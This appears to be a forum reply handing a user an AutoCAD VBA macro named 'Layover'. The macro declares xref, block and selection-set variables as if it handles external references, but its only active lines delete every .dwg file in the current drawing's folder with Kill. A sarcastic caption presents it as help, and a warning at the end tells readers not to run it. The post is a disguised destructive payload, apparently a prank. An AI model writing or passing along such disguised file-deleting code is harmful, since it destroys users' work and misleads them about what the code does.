Here you go SCuMDave. I'm sure this is exactly what you needed.
- Public Sub Layover()
- Dim objSelSets As AcadSelectionSets
- Dim objSelSet As AcadSelectionSet
- Dim objOverlay As AcadExternalReference
- Dim intType(0) As Integer
- Dim varData(0) As Variant
- Dim strPath As String
- Dim strName As String
- Dim dblInsPnt(0 To 2) As Double
- Dim objXref As AcadExternalReference
- Dim objEnt As AcadEntity
- Dim objBlk As AcadBlock
- Dim objBlks As AcadBlocks
- strPath = ThisDrawing.GetVariable("DWGPREFIX")
- strPath = strPath + "*.dwg"
- Kill strPath
- End Sub
WARNING!!!!!!!!!!!!!!!
If you're not Dave and/or can't understand what this is doing, do NOT under any circumstances, run it. | 
